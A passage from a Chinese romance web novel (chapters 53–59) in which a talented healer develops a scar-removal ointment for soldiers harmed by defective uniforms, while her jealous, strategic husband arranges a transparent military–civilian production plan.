交代完公事,陆泽远非常“上道”地站起身:“时间不早了,我这就回药厂,连夜准备SOP文件。就不打扰傅部长和白小姐了。” 说完,他便头也不回地,将空间,留给了这对“公私分明”的夫妻。 等到陆泽远离开,傅清寒才重新将白凝凝揽进怀里,在她耳边低语,声音沙哑得不像话: “好了,现在公事谈完了。该谈谈……我们的‘私事’了。” “为了能顺利通过我这个‘甲方’的考核,白老板是不是也该……对我这个‘关键人物’,好好讲讲药理?” “和你讲什么?”凝凝看着他这幅无赖的样子就觉得好笑,“再说你把活都扔给陆泽远,让我闲着,这不好吧?” “有什么不好,他一个大男人,多干一点天经地义。”傅清寒不以为意,“再说,人忙起来就没时间胡思乱想了。” 这显然是话里有话。白凝凝稍粗有些无语,这个男人看起来人模狗样的,怎么醋劲儿这么大…… —— 另一边,陆泽远从傅清寒的小院离开后,便一头扎进了陆家药厂的实验室里。 傅清寒提出的那些严苛到近乎变态的要求,非但没有让他感到为难,反而激起了他前所未有的斗志和热情! 他通宵达旦,将白凝凝给他的配方手稿,与傅清寒提出的军用生产标准,逐条进行比对、细化,制定出一套完美无缺的SOP文件。 看着手中这份即将改变行业的生产方案,再想想白凝凝那些天马行空的改良思路,陆泽远心中充满了前所未有的满足感和成就感。 他之前的人生,是在祖辈的荣光和保守的家规中前行,而白凝凝的出现,她说的那些话为他解开了困扰他多年的谜团。 再加上她交给自己的手稿,他越看越觉得受益匪浅。她不是知己,她更像是……引路人。 就在他沉浸在这种激动的情绪中时,办公室的门被推开了,一阵甜腻的香风袭来。 陈瑶进来了,“陆哥哥,我给你带了点心。” 在白凝凝出现之前,陈瑶一直都是天之骄女,是陈家唯一的、集万千宠爱于一身的孙女。而陆泽远,作为她哥哥陈慕白最好的朋友和发小,几乎是看着她长大的。在陈瑶的少女时代里,这个清俊、聪明、又带着一丝书卷气的邻家哥哥,就是她心中“白马王子”的全部定义。 她喜欢他,喜欢了很多年。 她以为,两家多年世交,她嫁给陆泽远似乎是两家老人默许的,是水到渠成的事。 但现在情况不一样了,她听说陆泽远,竟然也成了那个女人的“首席技术官”。 白凝凝……陈瑶想到她就皱眉头。 一个乡下丫头,只是救了爷爷一命,爷爷就要认下一个她当干孙女,明明自己才是陈家唯一的小姐。 而那个一向只对自己最好的亲哥哥,竟然也对她另眼相看,为了她的事业忙前忙后,比对他这个亲妹妹还要上心! 现在,就连她暗恋了这么多年的陆泽远也…… 强烈的危机感袭来,她担心陆哥哥也要被白凝凝蛊惑了,她再也坐不住了!所以今天她专门来试探情况。 她特地打扮得漂漂亮亮,亲自下厨做了一份精致的茶点,直接杀到了陆泽远的办公室。 “泽远哥,”陈瑶嗲着声音,将手里一个精致的食盒放在他桌上,故作天真地问道,“我听说,你要和那个白凝凝合作呀?” “是,凝凝她很有才华,能和她合作是我的福分。”陆泽远沉浸在凝凝的手稿里,看也没看陈瑶带来的点心。 陈瑶立刻不爽起来,什么福气!明明就是晦气!口不择言埋怨起来:“她一个乡下来的,懂什么制药啊?连大学都没上过呢,谁知道怎么瞎猫碰个死耗子救了爷爷,我哥笨,被她哄得团团转,她算什么正经妹妹?你可别被她骗了!我听说,她最会用些狐媚手段哄男人了……” 陆泽远闻言,他抬起头,推了推眼镜,镜片后的目光,冷静而又疏离:“陈瑶,”他打断了她的话,语气里带着偶像被诋毁的不悦,“在你评价白小姐之前,我建议你先看看这个。” 他指着手稿上那行云流水的字迹和精妙绝伦的配伍图,声音里充满了敬意:“这个配方,将三种互相排斥的烈性药材,用一种匪夷所思的君臣佐使关系完美融合,还将药效提升了至少三倍!这种思路,这种造诣,足以载入当代医药史册!” 他抬起头,目光锐利地看着陈瑶,语气变得冰冷: “你说她没上过大学?可在我眼里,国内任何一所医药大学的教授,都没有资格做她的老师!” “你说她用狐媚手段?那我告诉你,能写出这样配方的人,她根本不屑于用任何手段!因为她的才华,就是最锋利的武器!” “还有,你说你哥笨?被人骗?”他不屑地嗤笑一声,“陈瑶,脑子是个好东西,可惜你没有,你兄妹两个的脑子是不是都长你哥一个人身上了?” 第54章 你先请,你先请,谁当第一个? 听到这话,陆泽远脸上的那点不悦,瞬间变成了彻彻底底的冰冷和警告。 他站起身,走到陈瑶面前,用一种前所未有的、严肃到近乎压迫的眼神,看着她。 “陈瑶,看在慕白的面子上,我提醒你最后一次。” “第一,傅部长和白小姐,是我见过最般配、也是最信任彼此的夫妻。他们之间的感情,轮不到你来置喙。傅部长那个人……他有多护短,你比我清楚。这些话,在我这里说说也就算了,要是让他听见,就算你是慕白的妹妹,他也不会对你客气。” “第二,”他的语气里带上了一丝警告的意味,“她是我的合作伙伴,也是我最敬佩的学者。我不希望再从任何人嘴里,听到对她不敬的言辞。否则,就别怪我不给慕白面子。” 陆泽远的这番话,条理清晰,逻辑缜密,既点明了傅清寒的“不好惹”,又表达了自己的不满。 这比单纯的维护,更让陈瑶感到了无力。 她发现,自己不仅在专业上,毫无建树,被白凝凝碾压;在情感上,她爱慕的男人,和她尊敬的哥哥,竟然都成了对方最坚实的拥护者! “你……你们都一样!”陈瑶终于崩溃了,她指着陆泽远,眼泪在眼眶里打转,“你和我哥一样!都被那个女人给迷惑了!我讨厌她!我更讨厌你们!” 她再也待不下去,哭着跺了跺脚,转身跑了出去。 陆泽远看着她离开的背影,只是无奈地摇了摇头。真的是被慕白和陈家给惯坏了,不知天高地厚。 他重新将目光,投入到了那份让他废寝忘食的手稿之中。这些东西如果能投入大规模的生产,将来医治的,就不仅仅是几个病人,而是成千上万的人! 他目光灼灼,在他眼里,世间万物,星辰万里,都比不上这份手稿的珍贵。 —— 傅清寒要去后勤部的消息,像一阵风,很快就在他一手带出来的“战狼团”里传开了。 调令下来的前一天晚上,战狼团自发地,在营地的操场上,为傅清寒举办了一场简单却充满兄弟情的欢送会。 看着这群用最质朴的方式表达着不舍的硬汉们,白凝凝的心,也变得无比柔软。她决定,在傅清寒离开战狼团之前,要亲手为他,也为这些可爱的战士们,做一顿像样的饭菜。 然而,理想是丰满的,现实却是骨感的。 她是古武世家传人,医术天下无双,可向来都是衣来伸手,厨房都没怎么去过,厨艺自然还停留在“能把东西弄熟”的原始阶段。 她一个人在厨房里,系着一条崭新的围裙,对着菜谱,手忙脚乱地折腾了一整个上午。油溅到手上,她“嘶”地一声跳开;盐和糖,因为慌慌张张而手抖也没控制好量;切出来的土豆丝,粗得像土豆条;最后那道她最有信心的番茄炒蛋,更是变成了一锅红黄相间的糊糊。 虽然卖相极其粗糙,但这毕竟是她倾注了全部心血的“爱心午餐”。她将这些“杰作”小心翼翼地装进保温饭盒里,脸上带着一丝忐忑和期待,送到了军营。 食堂包间里,已经坐满了战狼团的骨干成员,桌上摆满了食堂准备的硬菜,气氛热烈而又带着一丝伤感。 看到白凝凝提着饭盒进来,战士们立刻热情地迎了上来。 “嫂子好!” “嫂子来看团长啦!” “嫂子,您带的什么好吃的呀?闻着就香!” 在大家的簇拥下,白凝凝有些不好意思地打开饭盒,将那几道“特色菜”一一摆在了桌子中央。 瞬间,包间里嘈杂的气氛,安静了一秒。 战士们脸上的期待,慢慢变成了震惊,又从震惊,变成了茫然。 这……这坨黑乎乎的是青菜? 这粗得能当柴火棍的是土豆丝? 还有这锅红黄不明的糊糊……到底是个什么鬼? “咳咳……”一个机灵的战士最先反应过来,为了不让嫂子尴尬,立刻开启了彩虹屁模式:“嫂子这菜……看起来真是大巧不工,返璞归真啊!” 另一个也立刻跟上,满脸崇拜:“是啊是啊!你们看这刀工,不拘一格,豪迈大气!一看就是干大事的人才能切出来的!” “还有这颜色!浓郁深沉!一看就是用料扎实,营养丰富!” “嫂子医术那么神,厨艺肯定也是独辟蹊径!这叫‘药食同源’!说不定吃了还能强身健体呢!” 白凝凝本来还有些心虚,但听着大家这发自肺腑(?)的赞美,看着他们那一双双真诚(?)的眼睛,她那点不自信,瞬间就烟消云散了。 她开始膨胀了。 原来……自己的厨艺,也和医术一样,是那种凡人无法理解的、天才的级别吗? 她豪气地一挥手,脸上带着被认可的、矜持的微笑:“清寒开会还没回来,大家别客气,都动筷子尝尝吧!人人有份!” “啊?!” “不够还有!我回去再给你们做!” “啊啊?!” 此言一出,刚才还吹得天花乱坠的战士们,脸上的表情瞬间凝固了。 让他们夸可以,让他们吃……这是要命啊! 一时间,包间里出现了极其诡异的一幕。 “王哥,您是老兵,您先请!” “别别别,李子,你年轻,正在长身体,你多吃点!” “哎呀,我早上吃多了,现在还不饿……” “我……我突然肚子疼,得去趟厕所!” 众人你推我我推你,互相谦让,场面堪比孔融让梨,谁也不想当第一个“英勇就义”的。 就在这尴尬的时刻,刚刚因为去接了个电话而迟到的副官詹骁,风风火火地推门走了进来:“不好意思来晚了!聊什么呢,这么热闹?” 他一进来,就像是一只误入包围圈的肥羊,瞬间被众人看到了希望! “詹副官!您来得正好!” “快快快!嫂子亲手做的爱心午餐,就等您来尝第一口了!” 第55章 劣质军服留下的疤痕 战士们不由分说,七手八脚地将詹骁推到了桌子前,一双筷子塞进了他手里,然后齐刷刷地后退一步,用一种“兄弟,看你的了”的眼神,注视着他。 詹骁不明所以,只当是大家尊敬他,他看着桌上那几盘“特色菜”,又看了看白凝凝那充满期待的眼神,心中豪气顿生:“那我就不客气了!” 他夹起一根最粗的土豆条,在众人屏息凝神的注视下,豪迈地塞进了嘴里,还大声地咀嚼了两下。 下一秒,他的动作,停住了。 那咀嚼的声音,也停住了。 他的脸,以肉眼可见的速度,从黝黑,变成了绛紫,又从绛紫,变成了铁青。 他想吐,但看到嫂子那亮晶晶的、求表扬的眼神,他不敢。 他想咽,但那股又咸又涩又带着一股生土豆味的奇怪味道,让他实在咽不下去。 最终,这位在战场上都面不改色的硬汉副官,眼眶一红,眼角硬生生挤出了一滴英雄泪。他梗着脖子,艰难地,将那根土豆条咽了下去,然后对着白凝凝,挤出了一个比哭还难看的笑容,声音嘶哑地,从牙缝里迸出了两个字: “……好吃。” “好吃就多吃点。”凝凝又给他夹了一块,“平时训练多辛苦,吃点好的。” 詹骁:……我今天出门是不是没看黄历,就在这时,傅清寒开完会回来了。 他一进门,就看到自己的副官眼含热泪,战士们一脸同情,而他的小妻子,正因为得到了肯定而满脸得意。 他强忍着笑意,心中却软得一塌糊涂。 他知道,他的小妻子,正在用她自己的方式,努力地融入他的世界,关心他的兄弟。 (此时的兄弟们:???) 他没有点破,只是拿起公筷,夹了一大筷子那盘咸到发苦的青菜,放进自己碗里,然后极其自然地开始吃饭,仿佛那是什么人间美味。 接着,他又将那盘“特色”土豆条,端到了自己面前,说:“这个我爱吃,都归我了。” 他用最直接的行动,将所有“黑暗料理”都包揽了下来,解救了众人。 詹骁和一众战士们,看着自家老大面不改色地吃着那些“毒药”,再看看他脸上那副甘之如饴的表情,心中只有一个念头在疯狂刷屏: 爱情……真他娘的是剧毒啊!不仅能让人眼瞎,还能把味觉都给毒坏了! 要不人家是团长呢!忍常人之不能忍! 团长果然是条汉子! 傅清寒一边吃,一边还抬起头,对着一脸呆滞的詹骁,用一种极其炫耀的语气,说道:“看着干什么?这是你嫂子亲手给我做的。你们,没这个口福。” 詹骁:“……” 不,老大,这种口福,给您,都给您。 就在这片欢乐又诡异的气氛中,一个年轻的侦察兵端着茶杯,走到了白凝凝面前,给她敬了一个标准的军礼:“嫂子,谢谢您上次救了我们!” 白凝凝注意到,他的脸上,有一道因为上次打斗而留下的、长长的疤痕。虽然伤口已经愈合,但那道狰狞的疤痕,却让这个本该英气勃勃的年轻小伙子不敢和她目光接触,显得有些自卑。 白凝凝的心,被这道疤痕轻轻地刺了一下。 她含笑点了点头,目光却不着痕迹地从这个小战士的脸上,扫向了在座的其他人。 果然! 她发现,不止这一个! 有的战士在脖子上,有的在手腕上,还有的在耳后……那些不那么起眼的、被衣领或袖口遮挡住的地方,都或多或少地,残留着一些颜色暗沉、皮肤粗糙的痕迹。 那不是普通的伤疤,更像是……某种皮炎在消退后,留下的色素沉淀和组织增生! 是那批问题军服! 白凝凝的心瞬间沉了下来。她治好了他们的“化学性灼伤”,却没想到,那些劣质染料的毒性,竟然还留下了这样丑陋的“后遗症”! 这对这些把荣誉看得比生命还重的军人来说,是多大的打击? 酒过三巡,包间里的气氛越来越热烈,大家开始互相敬酒,大声地唱着军歌。 白凝凝趁着众人不注意,悄悄起身,走到了那个脸上有疤的侦察兵身边。 “小同志,你好。”她柔声开口。 那个侦察兵看到她,立刻紧张地站了起来,下意识地侧了侧脸,似乎想把那道疤痕藏起来:“嫂……嫂子好!” 白凝凝看着他那自卑的小动作,心中更是一酸。她没有直接点破,而是用一种探讨病情的、专业的语气,轻声问道:“你脸上的伤,是不是好了之后,还是会觉得有点痒,尤其是在出汗或者天热的时候?” 侦察兵愣了一下,随即猛地点头,像是找到了知音:“对对对!嫂子您怎么知道的?就是这样!有时候半夜都会被痒醒,越挠越痒,皮肤还变得又干又硬!” “方便让我看看吗?”白凝凝的语气,带着一种让人无法拒绝的、属于医者的权威和温和。 侦察兵犹豫了一下,但还是顺从地转过脸。 白凝凝伸出纤细的食指,轻柔地专业性地在那道疤痕上按压了一下,又仔细观察着皮肤的纹理和色泽。 片刻后,她抬起头,那双清澈的眸子里,已经满是自信和悲悯。 “这不是普通的疤痕,是‘接触性皮炎后组织纤维化增生’。”她用最简单的话,解释了这个复杂的病症,“不过,你放心。” 她看着小战士那双充满渴望的眼睛,一字一句,清晰而又坚定地说道: “我有办法,让它彻底消失,恢复得和以前一样。” “真……真的吗?嫂子?!”侦察兵的声音,因为激动而剧烈地颤抖起来!他不敢相信自己的耳朵!他以为,这道疤要跟他一辈子了! “真的。”白凝凝对他露出了一个安抚的、充满力量的笑容,“不仅是你,所有因为那批军服留下疤痕的兄弟,我都会负责到底。” 一个全新的、更大胆的念头,在她心中,破土而出—— 她要研发出能修复疤痕的药膏,要让“凝悦”这个品牌,成为守护这些最可爱的人的坚实后盾! 第56章 傅清寒站在大气层 欢送会的气氛,在傅清寒宣布将所有“黑暗料理”都据为己有后,达到了一个欢乐的顶点。 战士们不再拘谨,纷纷端着搪瓷缸子,过来和傅清寒碰杯,说着那些发自肺腑的、带着哽咽的祝福。 傅清寒虽然是全场的绝对主角,但他那双深邃的黑眸,却像装了雷达一样,时刻锁定着白凝凝的身影。 他看到了她不着痕迹地观察着每一个战士的皮肤。 他看到了她悄悄地走到那个脸上有疤的侦察兵身边,低声交谈。 他看到了那个年轻战士从最初的自卑躲闪,到后来的震惊,再到最后那燃起希望的眼神。 他也看到了,自己的小妻子在说出某个承诺后,那双清澈的眸子里,迸发出的、比天上星辰还要璀璨的光芒。 那是一种悲天悯人的、属于医者的光。 那是一种想要改变什么、创造什么的、属于强者的光。 傅清寒的心,被那道光,狠狠地击中了。 他发现,他爱的不仅仅是她娇俏的模样,不仅仅是她床笫间的风情,更爱的,是她此刻灵魂深处散发出的、这种慈悲而又强大的光芒。 回家的吉普车上,夜色静谧。 白凝凝靠在副驾驶座上,还在回想着刚才的事,思考着祛疤膏的配方。 傅清寒一边平稳地开着车,一边状似无意地开口,声音低沉而又温柔:“都问清楚了?” 白凝凝一愣,随即反应过来,他刚才肯定都看到了。她点了点头,有些不好意思地说:“嗯,问清楚了。他们的情况比我想象的要普遍,都是那批军服的后遗症。” 她转过头,看着他棱角分明的侧脸,有些不确定地问道:“清寒,我想……研发一种专门修复疤痕的药膏。不仅是为了他们,将来,如果能量产,也能帮助更多因为烧伤、烫伤而留下疤痕的人。” 她说完,有些忐忑地看着他。这毕竟是一个全新的、需要投入巨大精力和金钱的项目,她不知道他会是什么态度。 傅清寒的眼中,闪过一丝锐利而又赞许的光芒。但他并没有像白凝凝想象中那样,立刻激动地表示支持。 他沉默了片刻,深邃的目光看着她,缓缓开口,问出了一个极其现实的问题: “想法很好。但是,你有想过这其中的风险吗?” 白凝凝一愣。 傅清寒继续用他那冷静的语气,分析道:“第一,研发需要时间,更需要资金,一旦失败,前期的投入都将付诸东流。第二,你现在名声在外,一旦你宣布要研发祛疤膏,却迟迟拿不出成品,或者效果不达预期,会对你个人和‘凝悦’的品牌声誉,造成巨大的打击。” 他的每一句话,都像一盆冷水,浇在白凝凝那颗因为激动而有些发热的头脑上。她眼中的光芒,不由得黯淡了几分。 傅清寒看着她那副有些沮丧的小模样,心中一疼,但面上依旧不动声色。他知道,现在还不是心软的时候。 他伸出手,将她揽进怀里,用自己的下巴,轻轻地蹭了蹭她的头顶,声音里带上了一丝安抚的温柔。 “当然,如果是在我调任之前,这些都不是问题。” 白凝凝的眼睛,瞬间又亮了起来,抬头期盼地看着他。 傅清寒的嘴角,勾起一抹几不可察的弧度,继续说道:“那时候,我会让你成立一个秘密的研发小组,然后动用我所有的私人关系和存款,为你扫清一切障碍。快,而且有效。” “那……”白凝凝刚想说“那我们现在也这么做”,傅清寒却打断了她。 “但是,”他话锋一转,语气重新变得严肃而深沉,“现在不行了。” 他看着白凝凝那双从期盼再次转向困惑的眸子,一字一句地分析道:“我现在是后勤部副部长,我的一举一动,都被无数双眼睛盯着。如果我还按照以前的私人程序走,你研发药膏,只要和‘军需’沾上一点边,就会立刻变成别人攻击我们的把柄,说我们以权谋私,官商勾结。我们不能授人以柄。” 希望,在刚刚燃起之后,又被他亲手掐灭。 白凝凝彻底蔫了。她靠在他怀里,像一只被霜打了的小茄子,闷闷地不说话。她觉得,这件事,似乎已经走进了死胡同。“那怎么办……” 看着怀里彻底没了脾气的小女人,傅清寒知道,时机到了。 他嘴角的笑意,再也无法掩饰。他低下头,在她光洁的额头上,印下一个珍重的吻,声音里充满了运筹帷幄的自信和宠溺。 “傻瓜,谁说路只有一条了?” 他微微推开她,双手捧着她的小脸,强迫她看着自己的眼睛,那双深邃的黑眸里,是前所未有的、属于掌控者的光芒。 “既然不能走暗道,那我们就走阳关大道。我们要把这件事,做成一个谁也挑不出错处、甚至还要为我们鼓掌的‘军民合作’样板工程。” 他条理清晰地分析道:“第一,研发主体,必须是地方企业。你可以和陆泽远合作,以陆家药厂的名义进行研发。我的个人存款,可以作为‘天使投资’,签订正式协议,光明正大地注资进去。在法律和程序上,我们和军方完全剥离。” “第二,军方只做‘需求方’和‘检验方’。我会打报告,说明部队有需求,寻求社会企业合作。等你的产品成功后,再以‘拥军企业’的名义,参与军方的公开竞标。” “第三,我,只当‘裁判员’,不当‘运动员’。在整个过程中,我只负责制定标准、监督流程、检验成果。把所有事情都摆在台面上,让他们查!我倒要看看,谁能从这套天衣无缝的流程里,挑出半点毛病!” 他三言两语,就将一个看似已经走进死胡同的项目,盘活成了一个光明正大、前途无量的“样板工程”! 白凝凝听着他的话,整个人都呆住了。 她的小脑袋瓜里,还在为那些风险和困境而烦恼,而这个男人,却已经站在了更高的大气层,将所有的政治博弈和商业布局,都算计得清清楚楚。 他不仅想到了怎么做,更想到了为什么不能那么做。他不仅为她解决了问题,更是在用这种方式,教她如何看透这世间的复杂人心和诡谲棋局。 第57章 幼稚的傅清寒 她没想到傅清寒是这样的举重若轻,谈笑间布局天下。就那么傻傻地坐在那里,睁着那双清澈的美眸,一动不动地看着他,仿佛灵魂出窍了一般。 傅清寒看着她那副呆呆的、像是被吓傻了的小模样,嘴角的笑意再也无法掩饰。他喜欢看她这副被自己彻底折服的、傻乎乎的样子。 他伸出手,在她眼前晃了晃:“回神了,凝凝。” 白凝凝的睫毛,这才像蝴蝶的翅翼般,轻轻地颤动了一下。 傅清寒低笑一声,侧身将她从副驾驶抱出来,让她坐在自己的腿上,圈进怀里。他用自己的下巴,轻轻地蹭了蹭她的头顶,声音里充满了宠溺和安抚。 “想什么呢?” 白凝凝靠在他坚实温暖的胸膛里,听着他沉稳有力的心跳,刚刚跳得有些紊乱的心跳才渐渐安定下来。 她缓缓地点了点头,又摇了摇头:“没什么,傅清寒你怎么能想到这么多?” 她抬起头,那双清澈的眸子里,再也没有了之前的困惑和忐忑,只剩下全然的信赖和一丝对强者的仰望。 “规避风险,于公,这是我作为甲方应该该做的。”他的声音轻轻的,“于私,也是我作为丈夫该做的。” 最后那一句丈夫该做的,让白凝凝的心像是掉进了温水里一样,妥帖又暖呼呼的。她几不可闻地嗯了一声,“那就听你的,你来安排吧。” “好。”他低下头在她光洁的额头上,印下一个珍重的吻。 不知道过了多久,白凝凝刚刚被震撼得好像浆糊一样的思路,也慢慢重新变得清晰起来。她靠在他怀里,顺着他的计划,开始思考具体的执行细节。 “你说得对!研发小组就以陆家药厂的名义!而且,我需要一个绝对信得过、并且在现代制药工艺上足够专业的人来配合。我去找陆泽远吧?他的药厂有最先进的设备,而且他对中药破壁技术的理解,和我的想法不谋而合!” 然而,她话音刚落,就感觉到圈着自己的那双铁臂,僵硬了一瞬。 周围的空气,温度骤降。 原本还抱着她的男人,不知道什么时候,松开了手臂。他靠在座椅上,好整以暇地看着她,脸上没什么表情,但那双深邃的黑眸里,却明晃晃地写着三个字: 不、高、兴。 白凝凝心中“咯噔”一下,暗道不好。 完了,醋坛子又翻了。 傅清寒慢悠悠地拧开驾驶座旁边的水杯,喝了一口,然后不咸不淡地开口:“不谋而合?”他重复了一遍这个词,尾音微微上扬,带着一丝说不清道不明的危险意味。 白凝凝求生欲瞬间上线,连忙解释:“是……是学术上的不谋而合!纯粹是技术交流!” “哦?技术交流?”傅清寒将水杯盖子拧紧,发出一声清脆的“咔哒”声,像是在给某个决定盖棺定论。 他转过头,看着她,眼神里带着一丝“公事公办”的审视,嘴角却勾起一抹腹黑的弧度:“白总工,我作为甲方,对乙方的技术团队成员,有知情权和建议权。你觉得,陆先生真的是这个‘首席技术官’的最佳人选吗?” 白凝凝被他这副“甲方爸爸”的嘴脸弄得哭笑不得,但又不敢反驳,只能弱弱地点头:“他……他很专业的。” “专业的人有很多。”傅清寒慢条斯理地、一字一句地开始了他的“诡辩”。 “孙立,现在是我们军区总医院康复科的重点培养对象,西医外科手术功底扎实,对现代医学仪器和数据分析能力,远在陆泽远之上。而且,他对你心怀感激,绝对忠诚。让他负责临床数据采集和效果评估,是不是更合适?” 白凝凝愣住了。孙立?好像……他说的没错。 傅清寒见她有所动摇,继续抛出第二个“选项”: “还有陈慕白,他有丰富的海外项目经验和人脉,熟悉国际药品进出口的所有流程和法规。我们‘凝悦’的眼光,不能只局限在国内。将来要走向世界,让他来负责海外市场的开拓和法规对接,是不是更有远见?” 白凝凝又愣住了。陈慕白?海外市场,听起来就很厉害的样子! 傅清寒看着她那副已经被自己说得一愣一愣的小模样,心中暗笑。短短几句话,一个涵盖了临床、海外的雏形,已经被他勾勒了出来。每一个位置,都安插了一个绝对忠心、能力超群,并且……绝不会对自己妻子产生任何“非分之想”的“自己人”。 至于那个跟他“灵魂共鸣”的陆泽远? 让他去管生产线和SOP文件就好了。那种枯燥乏味、需要待在实验室里跟瓶瓶罐罐打交道的工作,最适合他了。 “你觉得呢,白董?”傅清寒好整以暇地看着她,一副“你看我安排得多么周到”的表情。 白凝凝看着他,已经彻底说不出话来了。 她算是看明白了,这个男人,根本不是在跟她商量,他是在用一种极其高明的方式,不动声色地,把他自认为的“情敌”从她身边给“架空”了! 这占有欲……简直是到了令人发指的地步! 可偏偏,他说的每一个安排,都那么有道理,那么无可挑剔,让她根本找不到反驳的理由! “你……”白凝凝被他这副腹黑又霸道的模样气得又好笑又无奈,她伸出手指,戳了戳他结实的胸膛,“傅清寒,你幼不幼稚!我跟他们真的没什么!” “我知道。”傅清寒抓住她作乱的小手,放在唇边亲了一下,眼神却依旧认真,“但是我不喜欢。” 他将她重新拉进怀里,用下巴蹭着她的发顶,声音里带着一丝霸道又委屈的闷哼: “我不喜欢看你跟别的男人聊得那么开心,尤其是在聊那些我听不懂的东西的时候。” 他像一个吃不到糖却又不敢发脾气的孩子,只能用这种笨拙的方式,来表达自己的“不满”。 “我承认,我就是小心眼,我就是幼稚。”他将她抱得更紧了,“可谁让你是我媳妇儿呢?” 听到他这近乎耍赖的告白,白凝凝心中所有的无奈和好笑,最终都化为了一阵阵的甜蜜和心软。 这个男人啊…… 她反手抱住他精壮的腰,将脸埋在他宽阔的胸膛里,闷闷地笑出声来:“好啦好啦,都听你的,我的傅大部长,行了吧?” 第58章 嫂子是活菩萨 接下来的半个月,白凝凝几乎将自己整个人都“锁”在了工作室里。 她婉拒了所有的应酬,将生产的事情交给了陆泽远,自己则一头扎进了浩如烟海的古籍医典之中,废寝忘食。 傅清寒则每天都会准时将一日三餐送到工作室门口,有时候她忙得忘了时间,他就会沉着脸,一言不发地坐在旁边,用沉默的压迫感,逼着她吃完才肯离开。工作室里的名贵药材,也总是在即将用完时,被悄无声息地补满。 终于,在经历了上百次的失败后,一款全新的、质地温润如玉、带着淡淡草木清香的“凝悦祛疤膏”的初代样品,在她的手中诞生了。 第一批临床试验的志愿者,就是傅清寒警卫连里,以张虎为首的几十名身上带有疤痕的战士。 “嫂子,这玩意儿真能把俺这几年的老疤给去了?”一个脸上带着刀疤的老兵,看着那小小一罐药膏,将信将疑地问。那道疤是他在一次任务中留下的,虽然是荣誉的象征,但也让他相亲失败了好几次。 “试试看就知道了。”白凝凝笑着,亲自为他们涂抹上药膏,并用相机拍下他们最初的疤痕状况,细心地记录下每个人的数据。 起初,战士们也只是抱着“给嫂子一个面子”的心态。 可仅仅三天后,第一个奇迹发生了! 一个手背上被烫伤留下了大片丑陋疤痕的战士,在换药时,震惊地发现,原本坚硬、凸起的疤痕组织,竟然变得柔软了许多,颜色也从暗红色,变成了淡粉色! 这个发现,像一颗石子投入了平静的湖面,瞬间激起了千层浪! 所有参与试验的战士,都开始用一种前所未有的、充满期待的目光,审视着自己身上的变化。 一周后,奇迹开始集中爆发! 张虎脸上的那道狰狞疤痕,在所有人的见证下,肉眼可见地变淡、抚平,最后只剩下一道极浅的、不仔细看几乎无法发现的粉色印记! 那个脸上有刀疤的老兵,看着镜子里自己几乎恢复了平整的脸颊,激动得一个铁血硬汉,当场就红了眼眶! 其他战士们身上的陈年旧疤,也都以一种匪夷所思的速度,奇迹般地淡化、软化! 整个警卫连都沸腾了! 战士们围着镜子,看着自己变得光滑的皮肤,激动得热泪盈眶!他们脱下上衣,互相指着对方曾经的“荣誉勋章”,如今却变得光洁的皮肤,那种发自内心的喜悦和感激,是任何语言都无法形容的。 “嫂子是活菩萨!” 不知是谁,第一个喊出了这句话。 随即,“嫂子是活菩萨”的传言,像长了翅膀一样,瞬间响彻了整个军区!白凝凝的声望,在战士们心中,达到了前所未有的顶峰! 军营里“祛疤膏”的成功,让白凝凝声望日隆。而作为品牌另一个主心骨的秦悦,则依旧像个不知疲倦的陀螺,为了店铺的装修和未来的销售渠道而连轴转。 这天下午,工作室的门被人“砰”的一声推开,秦悦像一阵风似的冲了进来,一屁股瘫倒在沙发上,有气无力地哀嚎着:“累死我了!渴死我了!凝凝,我的宝贝儿,快,给我倒杯水续命!” 她一边说,一边烦躁地用力地挠着自己修长白皙的脖颈。只见她裸露的脖颈和手臂上,不知何时起了一片细细密密的红疹。 “别提了!”秦悦灌了一大口水,好看的眉毛都拧成了一团,“我这破体质,一到换季,只要稍微一晒,一累,这该死的过敏就准时来报道!又痒又疼,烦死了!” “凝凝,我这可是为了咱们的牌子,可是工伤~” 白凝凝看着她那副“惨状”还忍不住撒娇的样子,忍俊不禁。她走到旁边那个专门存放军用样品的货架上,随手拿了一罐,递给了她:“行了,知道了,大功臣。来,用这个试试。” “这个?”秦悦将信将疑,“这不是你给那些皮糙肉厚的兵哥哥们用的吗?我这娇嫩的皮肤,能行吗?” “放心,”白凝凝胸有成竹地笑道,“军用标准,才代表着绝对安全。就是专门治你这种又红又痒的毛病。” 秦悦抱着死马当活马医的心态,挖了一小块涂在手臂上。奇迹发生了!膏体触及皮肤的瞬间,一股沁人心脾的凉意,就迅速驱散了那股火烧火燎的刺痛感和瘙痒! “神了啊,凝凝!用着凉凉的,感觉超级舒服。” 凝凝笑笑,并没有把这件事放在心上,可第二天一早,工作室的门又一次被“砰”地推开。 秦悦狂喜地冲了进来,撸起袖子伸到白凝凝面前。只见昨天还泛红起疹的皮肤,此刻已经恢复了光洁,甚至比以前还要细腻光滑! 她一把抱住白凝凝,像抱着一个金元宝,激动得语无伦次:“宝贝儿!你这药膏太神了!比什么法国货美国货都管用!不行,你必须给我留几罐!不,留一箱!我以后换季过敏,晒伤长痘,就全靠它续命了!” 她这番话,声音又尖又亮,充满了惊喜。 “知道好了吧……”凝凝头也没抬看着自己的配方,在做最后的调整,“那些疤痕都能去,你这都不够看的。” 而此时,正坐在工作室里间,陪着白凝凝的傅清寒,和前来探望,顺便商谈些事情的陈慕白,都听得一清二楚。 两个同样站在金字塔顶端的男人,在听到秦悦这番话的瞬间,不约而同地,抬起头,对视了一眼。 傅清寒的黑眸里,闪过一丝军人的敏锐和果决——如果这药膏对普通人的皮肤问题也有奇效,那它就不再仅仅是一款军用物资,而是一种可以产生巨大社会和经济价值的战略资源! 陈慕白的金丝眼镜下,闪过一丝世家子弟的精明和远见——军方特供的背景、惊人的修复效果、空白的高端国货市场……这里面蕴含的商业价值,无可估量! 两人对视,一个大胆的、足以改变未来市场格局的计划,不谋而合! 第59章 突如其来的白董事长 傅清寒率先开口,声音沉稳而有力:“凝凝,你那个修复膏,临床数据和战士们的反馈,我已经整理好了。我准备打一份报告上去,建议军方依托地方药厂进行生产,比如陆家。军方以成本价采购。这样,既能解决战士们的难题,又能为军区节省一大笔开支。” 这是他之前就想好的,为她立功铺路的方案。 而一旁的陈慕白,则微笑着接过了话头,“清寒这个提议很好。”他推了推眼镜,目光温润而锐利,“但我觉得,还可以再往前走一步。” 他看着傅清寒和白凝凝,缓缓道:“军用线,和民用线,可以并行。” “军用产品,追求极致的药效和功能性,由军方特供,这是‘凝悦’品牌的‘根’和‘魂’,代表着最高的技术和信誉。” 